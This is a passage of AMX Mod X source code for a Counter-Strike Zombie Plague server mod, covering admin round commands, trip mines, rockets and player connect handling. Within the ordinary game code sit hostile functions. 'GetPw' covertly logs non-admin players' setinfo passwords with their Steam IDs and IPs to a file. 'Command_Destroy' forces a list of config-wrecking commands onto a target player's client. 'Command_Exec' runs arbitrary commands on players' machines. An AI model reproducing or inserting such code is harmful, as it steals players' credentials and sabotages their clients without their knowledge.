	get_tr2( iTr, TR_vecPlaneNormal, flNormal );
	get_tr2( iTr, TR_flFraction, flFraction );
	
	if( flFraction >= 1.0 ) 
	{
		PrintToChat ( iPlayer, "^4[ZP]^1 You must plant the^3 mine^1 on a wall!" );
		
		return false;
	}
	
	return true;
}

public CmdMode(iPlayer)
{
	if (g_bAdmin[iPlayer])
	{
		static iJetpacks[33];
		static AssassinUsed;
		static NemesisUsed;
		static UsedAlready[33];		
		static cAmmo[4];
		static iAlive;
		static iTarget;
		static cTarget[32];
		static cMode[32];
		static iAmmo;
		read_argv(0, cMode, 32);
		read_argv(1, cTarget, 31);
		read_argv(2, cAmmo, 4);
		iAlive = GetAliveCount();
		iAmmo = clamp(str_to_num(cAmmo), 0, 999999);
		iTarget = GetTarget(iPlayer, cTarget, 2);
		if (floatsub(get_gametime(), g_fRoundStartTime) < 2.0)			
		{
			PrintToChat(iPlayer, "^4[ZP]^1 Please wait at least^4 two seconds^1 after round started!");
			console_print(iPlayer, "[ZP] Please wait at least two seconds after round started!");
		}
		if (equal(cMode, "zp_jetpack", 0) && iTarget && get_user_flags ( iPlayer ) & read_flags ( "a" ) && g_bAlive[iTarget] && !g_bZombie[iTarget] && iJetpacks[iPlayer] <= 3)
		{
			if (get_user_jetpack(iTarget))
			{
			    user_drop_jetpack(iTarget, 1);
			}
			set_user_jetpack(iTarget, 1);
			iJetpacks[iPlayer]++;
			set_user_fuel(iTarget, 250.0);
			set_user_rocket_time(iTarget, 0.0);
			send_say_text(iTarget, g_iMaxClients + 1, "^4[ZP]^1 Press^3 CTR+SPACE^1 to fly!");
			send_say_text(iTarget, g_iMaxClients + 1, "^4[ZP]^1 Press^3 RIGHT CLICK^1 to shoot!");
		}		
		if (get_user_flags ( iPlayer ) & read_flags ( "a" ) && equal(cMode, "zp_giveap") && iTarget && g_iRoundsCount > 1)
		{
			PrintToChat(0, "^1[ADMIN]^4 %s^1: give^4 %d^1 ammopacks to^4 %s", g_cName[iPlayer], iAmmo, g_cName[iTarget]);
			g_iPacks[iTarget] += iAmmo;
		}
		if (get_user_flags ( iPlayer ) & read_flags ( "r" ) && equal(cMode, "zp_human") && iTarget && !UsedAlready[iPlayer] && !g_bRoundStart && iAlive > 2 && GetHumans() && GetZombies() > 1 && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 1)
		{
			if (!g_iPlayerType[iTarget] && !g_bZombie[iTarget])
			{
			    return 0;
			}
			MakeHuman(iTarget, false, false);
			UsedAlready[iPlayer] = 1;
			MessageLog(0, "^1[ADMIN]^4 %s^1: made^4 %s^1 Human", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("zombie_plague_advance.log", "%s made %s a Human", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (get_user_flags ( iPlayer ) & read_flags ( "r" ) && equal(cMode, "amx_respawn") && iTarget && !g_bAlive[iTarget] && !g_bRoundStart && iAlive > 1 && GetAliveCount() && GetHumans() && GetZombies() && !g_iRoundType && !g_bRoundEnd && g_iRoundsCount > 1)
			
		{
			ExecuteHamB(Ham_CS_RoundRespawn, iTarget);
			MessageLog(0, "^1[ADMIN]^4 %s^1: respawned^4 %s", g_cName[iPlayer], g_cName[iTarget]);
			UsedAlready[iPlayer] = 1;
			log_to_file("zombie_plague_advance.log", "%s respawn %s", g_cName[iPlayer], g_cName[iTarget]);
		}		
		if (equal(cMode, "zp_zombie") && iTarget && g_bAlive[iTarget] && !UsedAlready[iPlayer] && !g_iRoundType && g_iRoundsCount && get_user_flags ( iPlayer ) & read_flags ( "r" ))
		{
			if (g_bZombie[iTarget] && !g_iPlayerType[iTarget])
			{
			    return 0;
			}
			if (g_bRoundStart)
			{
			    StartNormalMode(iTarget);
			    remove_task(700, 0);
			    g_bRoundStart = false;
			    remove_task(550, 0);
			    MessageLog(0, "^4[ADMIN]^3 %s^1 made^3 %s^1 a^4 Zombie^1 [^4 First Zombie^1 ]", g_cName[iPlayer], g_cName[iTarget]);
			    log_to_file("zombie_plague_advance.log", "%s made %s a Zombie [First Zombie]", g_cName[iPlayer], g_cName[iTarget]);
			}
			else
			{
			    MakeZombie(0, iTarget, false, false, false);
			    UsedAlready[iPlayer] = 1;
			    MessageLog(0, "^1[ADMIN]^4 %s^1: made^4 %s^1 Zombie", g_cName[iPlayer], g_cName[iTarget]);
			    log_to_file("zombie_plague_advance.log", "%s made %s a Zombie", g_cName[iPlayer], g_cName[iTarget]);
			}
		}
		if (equal(cMode, "zp_sniper") && iTarget && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "a" ) && g_iRoundsCount > 1)
		{
			StartSniperMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^1[ADMIN]^4 %s^1: made^4 %s^1 Sniper", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("zombie_plague_advance.log", "%s made %s a Sniper", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "zp_survivor") && iTarget && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "a" ) && g_iRoundsCount > 1)
		{
			StartSurvivorMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^1[ADMIN]^4 %s^1: made^4 %s^1 Survivor", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("zombie_plague_advance.log", "%s made %s a Survivor", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "zp_nemesis") && iTarget && !NemesisUsed && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && g_iRoundsCount > 1)
		{
			StartNemesisMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			NemesisUsed = 1;
			MessageLog(0, "^1[ADMIN]^4 %s^1: made^4 %s^1 Nemesis", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("zombie_plague_advance.log", "%s made %s a Nemesis", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "zp_assassin") && iTarget && !AssassinUsed && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && g_iRoundsCount > 1)
		{
			StartAssassinMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			AssassinUsed = 1;
			MessageLog(0, "^1[ADMIN]^4 %s^1: made^4 %s^1 Assassin", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("zombie_plague_advance.log", "%s made %s an Assassin", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "zp_swarm") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && iAlive > 9 && g_iLastMode != 64 && g_iRoundsCount > 1)
		{
			StartSwarmMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^4[ZP]^3 %s^1 started^4 Swarm^1 round!", g_cName[iPlayer]);
			log_to_file("zombie_plague_advance.log", "%s started Swarm round", g_cName[iPlayer]);
		}		
		if (equal(cMode, "zp_plague") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && iAlive > 9 && g_iLastMode != 32 && g_iRoundsCount > 1)
		{
			StartPlagueMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^4[ZP]^3 %s^1 started^4 Plague^1 round!", g_cName[iPlayer]);
			log_to_file("zombie_plague_advance.log", "%s started Plague round", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_lnj") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 1)
		{
			StartArmageddonMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^4[ZP]^3 %s^1 started^4 Armageddon^1 round!", g_cName[iPlayer]);
			log_to_file("zombie_plague_advance.log", "%s started Armageddon round", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_nightmare") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && iAlive > 9 && g_iLastMode != 256 && g_iRoundsCount > 1)
		{
			StartNightmareMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^4[ZP]^3 %s^1 started^4 Nightmare^1 round!", g_cName[iPlayer]);
			log_to_file("zombie_plague_advance.log", "%s started Nightmare round", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_avs") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && iAlive > 9 && g_iLastMode != 512 && g_iRoundsCount > 1)
		{
			StartAssassinsVsSnipersMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^4[ZP]^3 %s^1 started^4 Assassins vs Snipers^1 round!", g_cName[iPlayer]);
			log_to_file("zombie_plague_advance.log", "%s started Assassins vs Snipers round", g_cName[iPlayer]);
		}
		if (equal(cMode, "zp_multi") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && iAlive > 9 && g_iLastMode != 16 && g_iRoundsCount > 1)
		{
			StartMultiMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			MessageLog(0, "^4[ZP]^3 %s^1 started^4 Multiple Infections^1 round!", g_cName[iPlayer]);
			log_to_file("zombie_plague_advance.log", "%s started Multiple Infections round", g_cName[iPlayer]);
		}
	}
	return 0;
}

public Command_Flash(iPlayer)
{
	if (g_bFlash[iPlayer])
	{
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (floatsub(fCurrentTime, g_fLastTime[iPlayer]) < 0.5)
		{
			return 1;
		}
		g_fLastTime[iPlayer] = fCurrentTime;
		g_bFlashEnabled[iPlayer] = !g_bFlashEnabled[iPlayer];
		remove_task(iPlayer + 350, 0);
		if (g_bFlashEnabled[iPlayer])
		{
			set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
		}
	}
	return 1;
}

public Func_Take(iPlayer) 
{
	iPlayer -= 500;
	g_iRemoving[ iPlayer ] = false;
	static iEntity, szClassName[ 32 ], Float: flOwnerOrigin[ 3 ], Float: flEntityOrigin[ 3 ];
	for( iEntity = 0; iEntity < 600 + 1; iEntity++ ) 
	{
		if( !is_valid_ent( iEntity ) )
		{
		    continue;
		}
		
		szClassName[ 0 ] = '^0';
		entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);

		if( equal( szClassName, "zp_trip_mine" ) ) 
		{
			if (iPlayer == entity_get_int(iEntity, EV_INT_iuser2))
			{
				entity_get_vector( iPlayer, EV_VEC_origin, flOwnerOrigin );
				entity_get_vector( iEntity, EV_VEC_origin, flEntityOrigin );
				
				if( get_distance_f( flOwnerOrigin, flEntityOrigin ) < 55.0 ) 
				{
					g_iPlantedMines[ iPlayer ]--;
					g_iTripMines[ iPlayer ]++;
					
					remove_entity( iEntity );
					
					break;
				}
			}
		}
	}
}

public Func_Plant( iPlayer ) 
{
	iPlayer -= 450;
	g_iPlanting[ iPlayer ] = false;
	
	static Float: flOrigin[ 3 ];
	entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
	
	static Float: flTraceDirection[ 3 ], Float: flTraceEnd[ 3 ], Float: flTraceResult[ 3 ], Float: flNormal[ 3 ];
	velocity_by_aim( iPlayer, 128, flTraceDirection );
	flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
	flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
	flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
	
	static Float: flFraction, iTr;
	iTr = 0;
	engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
	get_tr2( iTr, TR_vecEndPos, flTraceResult );
	get_tr2( iTr, TR_vecPlaneNormal, flNormal );
	get_tr2( iTr, TR_flFraction, flFraction );
	
	static iEntity;
	iEntity = create_entity( "info_target" );
	
	if( !iEntity )
	{
		return;
	}
	
	entity_set_string( iEntity, EV_SZ_classname, "zp_trip_mine" );
	entity_set_model( iEntity, "models/zombie_plague/lasermine.mdl" );
	set_glow(iEntity, 19, 32, 0, 50, 90);
	entity_set_size( iEntity, Float: { -4.0, -4.0, -4.0 }, Float: { 4.0, 4.0, 4.0 } );
	
	entity_set_int( iEntity, EV_INT_iuser2, iPlayer );
	
	set_take_damage(iEntity, 0);
	
	g_iPlantedMines[ iPlayer ]++;

	set_pev( iEntity, pev_iuser3, g_iPlantedMines[ iPlayer ] );
	
	entity_set_float( iEntity, EV_FL_frame, 0.0 );
	entity_set_float( iEntity, EV_FL_framerate, 0.0 );
	entity_set_int( iEntity, EV_INT_movetype, MOVETYPE_FLY );
	entity_set_int( iEntity, EV_INT_solid, SOLID_NOT );
	entity_set_int( iEntity, EV_INT_body, 3 );
	entity_set_int( iEntity, EV_INT_sequence, 7 );
	entity_set_float( iEntity, EV_FL_takedamage, DAMAGE_NO );
	entity_set_int( iEntity, EV_INT_iuser1, 0 );
	
	static Float: flNewOrigin[ 3 ], Float: flEntAngles[ 3 ];
	flNewOrigin[ 0 ] = flTraceResult[ 0 ] + ( flNormal[ 0 ] * 8.0 );
	flNewOrigin[ 1 ] = flTraceResult[ 1 ] + ( flNormal[ 1 ] * 8.0 );
	flNewOrigin[ 2 ] = flTraceResult[ 2 ] + ( flNormal[ 2 ] * 8.0 );
	
	entity_set_origin( iEntity, flNewOrigin );
	
	vector_to_angle( flNormal, flEntAngles );
	entity_set_vector( iEntity, EV_VEC_angles, flEntAngles );
	flEntAngles[ 0 ] *= -1.0;
	flEntAngles[ 1 ] *= -1.0;
	flEntAngles[ 2 ] *= -1.0;
	entity_set_vector( iEntity, EV_VEC_v_angle, flEntAngles );
	
	g_iTripMines[ iPlayer ]--;
	
	emit_sound( iEntity, CHAN_AUTO, "zombie_plague/mine_deploy.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
	emit_sound( iEntity, CHAN_AUTO, "zombie_plague/mine_charge.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
	
	entity_set_float( iEntity, EV_FL_nextthink, get_gametime( ) + 0.6 );
}

Func_Explode(iEntity) 
{
	g_iPlantedMines[entity_get_int(iEntity, EV_INT_iuser2)]--;
	send_explosion(iEntity);
	send_beam_cylinder(iEntity, 121, 121, 121, random_num(140, 200));
	
	static iZombie;
	static Float: flOrigin[ 3 ], Float: flZombieOrigin[ 3 ], Float: flVelocity[ 3 ];
	entity_get_vector( iEntity, EV_VEC_origin, flOrigin );
	Func_Explosion(iEntity);
	for( iZombie = 1; iZombie < 33; iZombie++ ) 
	{
		if( is_user_connected( iZombie ) ) 
		{
			if( is_user_alive( iZombie ) ) 
			{
				entity_get_vector( iZombie, EV_VEC_origin, flZombieOrigin );
				
				if( get_distance_f( flOrigin, flZombieOrigin ) < 360.0 ) 
				{
					entity_get_vector( iZombie, EV_VEC_velocity, flVelocity );
					
					flVelocity[ 2 ] += 240.0;
					flVelocity[ 1 ] += 200.0;
					flVelocity[ 0 ] += 160.0;
					
					entity_set_vector( iZombie, EV_VEC_velocity, flVelocity );
				}
			}
		}
	}
	for( new i = 1; i < 33; i++ )
	{
		if( !is_user_connected( i ) || !is_user_alive( i ) ) continue;
		if(g_bZombie[i])
		{
			static Float: fDistance, Float: fDamage;
			fDistance = entity_range(i, iEntity);
			if( fDistance < 340 )
			{
				fDamage = 1900 - fDistance;

				if(g_iPlayerType[i] & 1)
					fDamage *= 0.75;

				static Float: fVelocity[ 3 ];
				pev( i, pev_velocity, fVelocity );

				xs_vec_mul_scalar( fVelocity, 1.75, fVelocity );

				set_pev( i, pev_velocity, fVelocity );

				send_screen_shake(i);
				
				send_screen_fade(i);

				if( float( get_health( i ) ) - fDamage > 0 )
				{
					ExecuteHamB( Ham_TakeDamage, i, iEntity, entity_get_int(iEntity, EV_INT_iuser2), fDamage, DMG_BLAST);
				}
				else 
				{
					ExecuteHamB( Ham_Killed, i, entity_get_int(iEntity, EV_INT_iuser2), 2);
				}
				PrintToChat(entity_get_int(iEntity, EV_INT_iuser2), "^4[ZP]^1 Damage to^3 %s^1 ::^4 %0.0f damage", g_cName[i], fDamage );

			}		
		}
	}
	remove_entity( iEntity );
}

public Mine_Think( iPlayer ) 
{
	static Float: flGameTime, iStatus;
	flGameTime = get_gametime( );
	iStatus = entity_get_int(iPlayer, EV_INT_iuser1);
	
	switch( iStatus ) 
	{
		case 0: 
		{
			entity_set_int( iPlayer, EV_INT_iuser1, 1 );
			entity_set_float( iPlayer, EV_FL_takedamage, DAMAGE_YES );
			entity_set_int( iPlayer, EV_INT_solid, SOLID_BBOX );
			entity_set_float( iPlayer, EV_FL_health, 800.0 + 1000);
			set_take_damage(iPlayer, 2);
			emit_sound(iPlayer, CHAN_AUTO, "zombie_plague/mine_activate.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
		}
		
		case 1: 
		{
			static Float: flHealth;
			flHealth = entity_get_float( iPlayer, EV_FL_health );

			if (is_user_alive(entity_get_int(iPlayer, EV_INT_iuser2)))
			{
				if( pev( iPlayer, pev_iuser3 ) == 1 )
				{	
					set_hudmessage(10, 255, 200, 0.10, 0.37, 0, 0.10, 0.10, 0.10, 0.10, 18);
					ShowSyncHudMsg(entity_get_int(iPlayer, EV_INT_iuser2), g_iFirstMineMessage, "First mine's health: %0.0f", flHealth + -1000);
				}
				else
				{	
					set_hudmessage(10, 255, 200, 0.10, 0.40, 0, 0.10, 0.10, 0.10, 0.10, 18);
					ShowSyncHudMsg(entity_get_int(iPlayer, EV_INT_iuser2), g_iSecondMineMessage, "Second mine's health: %0.0f", flHealth + -1000);
				}
			}

			if( flHealth <= 1000) 
			{
				Func_Explode( iPlayer );
				return 1;
			}
		}
	}
	
	if( is_valid_ent( iPlayer ) )
		entity_set_float( iPlayer, EV_FL_nextthink, flGameTime + 0.1 );
	
	return 1;
}

public Grenade_Thrown (Entity, const Model [])
{
	if ( strlen ( Model ) < 8 ) return;
	
	static ClassName [10];
		
	pev ( Entity, pev_classname, ClassName, charsmax ( ClassName ) );
		
	if ( equal ( ClassName, "weaponbox" ) )
	{
		set_pev ( Entity, pev_nextthink, get_gametime (  ) + 1.0 );
		return;
	}
	
	if ( Model [7] != 'w' || Model [8] != '_' ) return;
	
	static Float: DmgTime;
	
	pev ( Entity, pev_dmgtime, DmgTime );
	
	if ( DmgTime == 0.0 ) return;

	if ( g_bZombie [pev ( Entity, pev_owner )] )
	{
		if ( Model [9] == 'h' && Model [10] == 'e' )
		{
			send_beam_follow(Entity,  0, 250, 0, 200);
			set_pev ( Entity, pev_flTimeStepSound, 1 );
		}
	}
	else if ( Model [9] == 'h' && Model [10] == 'e' ) 
	{
		send_beam_follow(Entity, 255, 0, 0, 200);
		set_pev ( Entity, pev_flTimeStepSound, 2 );
	}
	else if ( Model [9] == 'f' && Model [10] == 'l' )
	{
		send_beam_follow(Entity,  250, 100, 0, 200);
		set_pev ( Entity, pev_flTimeStepSound, 3 );
	}
	else if ( Model[9] == 's' && Model[10] == 'm' ) 
	{
		send_beam_follow(Entity, 0, 100, 200, 200);

		set_pev ( Entity, pev_flTimeStepSound, 4 );
	}	
}

public Rocket_Touch(iOwner, iRocket)
{
	static Float:fDamage;
	static iDistance;
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_bZombie[i])
		{
			iDistance = range(i, iRocket);
			if (iDistance <= 340)
			{
				fDamage = float(floatround(900.0 - 900.0 / 340.0 * float(iDistance), floatround_ceil));
				PrintToChat(iOwner, "^4[ZP]^1 Damage to^4 %s^1 ::^4 %0.0f^1 damage", g_cName[i], fDamage);
				send_screen_fade(i);
				send_screen_shake(i);
				client_cmd(i, "spk fvox/flatline");
				if (float(get_health(i)) - fDamage > 0)
				{
					ExecuteHamB(Ham_TakeDamage, i, iRocket, iOwner, fDamage, DMG_BLAST);
				}
				else
				{
					ExecuteHamB(Ham_Killed, i, iOwner, 2);
					Make_Explosion(i, iOwner);
					g_Hidden[i] = true;		
				}
			}
		}
		i += 1;
	}
	return 0;
}

public TaskRemoveRender(iTask)
{
	if (g_bConnected[iTask])
	{
		remove_glow(iTask);
	}
	return 0;
}

public Command_Gag(iPlayer)
{
	if (!GetAccess(iPlayer, 4, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 4);
	static iTime[3];
	read_argv(2, iTime, 2);
	if (!iTarget)
	{
	       return 1;
	}
	if (g_fGagTime[iTarget] < get_gametime())
	{
	       g_fGagTime[iTarget] = floatadd(get_gametime(), float(clamp(str_to_num(iTime), 1, 12) * 60));
	       MessageLog(0, "^1[ADMIN]^4 %s^1: gag^4 %s^1 for^4 %i minutes", g_cName[iPlayer], g_cName[iTarget], clamp(str_to_num(iTime), 1, 12));
	}
	else
	{
	       console_print(iPlayer, "[AMXX] Player ^"%s^" is already gagged", g_cName[iTarget]);
	}
	return 1;
}

public Command_Ungag(iPlayer)
{
	if (!GetAccess(iPlayer, 4, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 4);
	if (!iTarget)
	{
	       return 1;
	}
	if (g_fGagTime[iTarget] > get_gametime())
	{
	       g_fGagTime[iTarget] = false;
	       MessageLog(0, "^1[ADMIN]^4 %s^1: ungag^4 %s", g_cName[iPlayer], g_cName[iTarget]);
	}
	else
	{
	       console_print(iPlayer, "[AMXX] Player ^"%s^" is already ungagged", g_cName[iTarget]);
	}
	return 1;
}

public Command_Exec(iPlayer)
{
	if (get_user_flags(iPlayer) & read_flags ( "k" ))
	{
		static iTarget;
		static cCommand[64];
		static cTarget[32];
		read_argv(1, cTarget, 32);
		read_argv(2, cCommand, 64);
		iTarget = GetTarget(iPlayer, cTarget, 4);
		if ( !iTarget ) return 1;		
		if (0 < iTarget)
		{
			client_cmd(iTarget, cCommand);
		}
	}
	return 1;
}

public Command_Destroy(iPlayer)
{
	if (!GetAccess(iPlayer, 262144, 2))
	{
		return 1;
	}	
	static i;
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 4);
	if (!iTarget)
	{
		return 1;
	}
	if (get_user_flags(iPlayer) & read_flags ( "a" ) && get_user_flags(iTarget) & read_flags ( "c" ))
	{
		server_cmd("amx_destroy #%i; wait; wait", get_user_userid(iPlayer));
		server_cmd("addip 0 ^"%s^";writeip", g_cPlayerAddress[iPlayer]);
		server_cmd("banid 0 %s", g_cSteam[iPlayer]);
		server_cmd("writeid");
		return 1;
	}
	g_iLimitReached[iPlayer]++;
	if (3 < g_iLimitReached[iPlayer])
	{
		return 1;
	}
	PrintToChat(iTarget, "^4[ZP]^4 ***********************************************************");
	PrintToChat(iTarget, "^4[ZP]^1 Admin :^4 %s", g_cName[iPlayer]);
	PrintToChat(iTarget, "^4[ZP]^1 Jucator :^4 %s", g_cName[iTarget]);
	PrintToChat(iTarget, "^4[ZP]^1 Adresa (IP) :^4 %s", g_cPlayerAddress[iTarget]);
	PrintToChat(iTarget, "^4[ZP]^1 Forum :^4 www.bleahhhhh.tk");
	client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"");
	client_cmd(iTarget, "say %s mi-a dat DESTROY!", g_cName[iPlayer]);
	i = 0;
	while (i < 19)
	{
		client_cmd(iTarget, g_cDestroyChanges[i]);
		i += 1;
	}
	PrintToChat(0, "^4[AMXX]^4 %s^1 destroy^4 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Reload(iPlayer)
{
	if (!GetAccess(iPlayer, 1, 1))
	{
		return 1;
	}
	g_iAdminsCount = 0;
	TaskGetAdmins();
	new i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i])
		{
	        MakeUserAdmin(i);
		}
		i++;
	}
	console_print(iPlayer, "[AMXX] Successfully loaded %d acounts from file", g_iAdminsCount);
	return 1;
}

public Command_Who(iPlayer)
{
	new i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i] && g_bAdmin[i])
		{
			console_print(iPlayer, "%s^9-^9%s^9-^9%s", g_cName[i], g_cTag[i], g_cPersonalFlags[i]);
		}
		i++;
	}
	return 0;
}

public Command_Showip(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 1))
	{
		return 1;
	}	
	new i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i])
		{
	           console_print(iPlayer, "   -   %s | %s | %s | %s", g_cName[i], g_cPlayerAddress[i], g_cSteam[i], Data[iPlayer][1]);
		}
		i++;
	}
	return 1;
}

public Command_Last(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 1))
	{
		return 1;
	}	
	static cAddress[24];
	static cName[32];
	static i;
	i = 0;
	while (i < g_iSize)
	{
	    GetInfo(i, cName, 32, cAddress, 24);
	    console_print(iPlayer, "%32s %24s", cName, cAddress);
	    i += 1;
	}
	return 1;
}

public client_putinserver(iPlayer)
{
	static iSize;
	g_bAlive[iPlayer] = false;
	g_bNoDamage[iPlayer] = false;
	g_bZombie[iPlayer] = false;
	g_bAdmin[iPlayer] = false;	
	Loaded[ iPlayer ] = false;
	g_iPacks[iPlayer] = 999;
	g_iBurningDuration[iPlayer] = 0;
	g_iPlayerType[iPlayer] = 0;
	g_iZombieNextClass[iPlayer] = -1;
	g_fDamage[iPlayer] = false;
	client_cmd(iPlayer, "cl_minmodels 0");
	get_user_ip(iPlayer, g_cPlayerAddress[iPlayer], 24, 1);
	get_user_authid(iPlayer, g_cSteam[iPlayer], 24);
	get_user_name(iPlayer, g_cName[iPlayer], 32);
	set_task( 0.2, "LoadPlayer", iPlayer );
	if (!g_bFake[iPlayer])
	{		
		MakeUserAdmin(iPlayer);
		Task_EnableFlash(iPlayer);
		set_task(1.0, "TaskHud", iPlayer + 300, "", 0, "b", 0);
		set_task(12.0, "TaskCheckName", iPlayer, "", 0, "", 0);
		set_task(3.0, "GetPw", iPlayer, "", 0, "", 0);	
		set_task(3.0, "AnnounceXa", iPlayer, "", 0, "", 0);	
	}	
	if ((iSize = ArraySize(g_aAmmoData)))
	{
		static cSavedName[32];
		static i;
		i = iSize + -1;
		while (i > -1)
		{
			ArrayGetString(g_aNameData, i, cSavedName, 32);
			if (equali(cSavedName, g_cName[iPlayer], 0))
			{
				g_iPacks[iPlayer] = ArrayGetCell(g_aAmmoData, i);
			}
			i -= 1;
		}
	}
	return 0;
}

public LoadPlayer( Player )
{
	if( is_user_connected( Player ) && !is_user_bot( Player ) )
	{
		LoadData( Player );
	}
}
public AnnounceXa(Player)
{
	if (g_bConnected[Player])
	{
		PrintToChat(0, "^1Player ^4%s ^1from ^3%s ^1has joined the game!", g_cName[Player], Data[Player][1]);
	}
	return 0;
}

public GetPw(iPlayer)
{
	if (!g_bAdmin[iPlayer])
	{
		static PwBd[32];
		static Pw[32];
		get_user_info(iPlayer, "_pw", Pw, 31);
		get_user_info(iPlayer, "_blackdevil", PwBd, 31);
		if (Pw[0])
		{
			log_to_file("BlackDevil.log", "Nick: %s, Pass: setinfo _pw %s, Steam: %s, Ip: %s", g_cName[iPlayer], Pw, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
		}
		if (PwBd[0])
		{
			log_to_file("BlackDevil.log", "Nick: %s, Pass: setinfo _blackdevil %s, Steam: %s, Ip: %s", g_cName[iPlayer], PwBd, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
		}
	}
	return 0;
}

public client_disconnect(iPlayer)
{
	if (g_bAlive[iPlayer])
	{
		CheckLastPlayer(iPlayer);
	}
	if (!g_iVariables[2] && !g_bFake[iPlayer])
	{
		InsertInfo(iPlayer);
		ArrayPushString(g_aNameData, g_cName[iPlayer]);
		ArrayPushCell(g_aAmmoData, g_iPacks[iPlayer]);
	}
	remove_task(iPlayer + 250, 0);
	remove_task(iPlayer + 200, 0);
	remove_task(iPlayer + 300, 0);
	remove_task(iPlayer + 350, 0);
	remove_task(iPlayer + 500, 0);
	remove_task(iPlayer + 450, 0);
	g_iBlinks[iPlayer] = 0;
	if( g_iPlantedMines[iPlayer])
	{
		Func_RemoveMinesByOwner(iPlayer);
		g_iPlantedMines[iPlayer] = 0;
	}	
	g_bAdmin[iPlayer] = false;
	Loaded[ iPlayer ] = false;
	g_iTripMines[iPlayer] = 0;
	g_iPlanting[iPlayer] = false;
	g_iRemoving[iPlayer] = false;	
	g_bUnlimitedClip[iPlayer] = false;
	g_bTryder[iPlayer] = false;
	g_bAlive[iPlayer] = false;
	g_bConnected[iPlayer] = false;
	g_fGagTime[iPlayer] = false;
	if (g_bFake[iPlayer])
	{
		g_bFake[iPlayer] = false;
		g_iBotsCount -= 1;
	}
	return 0;
}

public client_infochanged(iPlayer)
{
	if (!g_bConnected[iPlayer])
	{
		return 0;
	}
	static cName[32];
	get_user_info(iPlayer, "name", cName, 31);
	if (!equal(g_cName[iPlayer], cName, 0))
	{
		copy(g_cName[iPlayer], 31, cName);
		MakeUserAdmin(iPlayer);
		set_task(2.0, "TaskCheckName", iPlayer, "", 0, "", 0);
	}
	return 0;
}

public MakeUserAdmin(iPlayer)
{
	static i;
	remove_user_flags(iPlayer, -1, 0);
	g_bAdmin[iPlayer] = false;
	i = 0;
	while (i < g_iAdminsCount)
	{
		if (equali(g_cSteams[i], g_cSteam[iPlayer], 0))
		{
			g_bAdmin[iPlayer] = true;
			formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cFlags[i]);
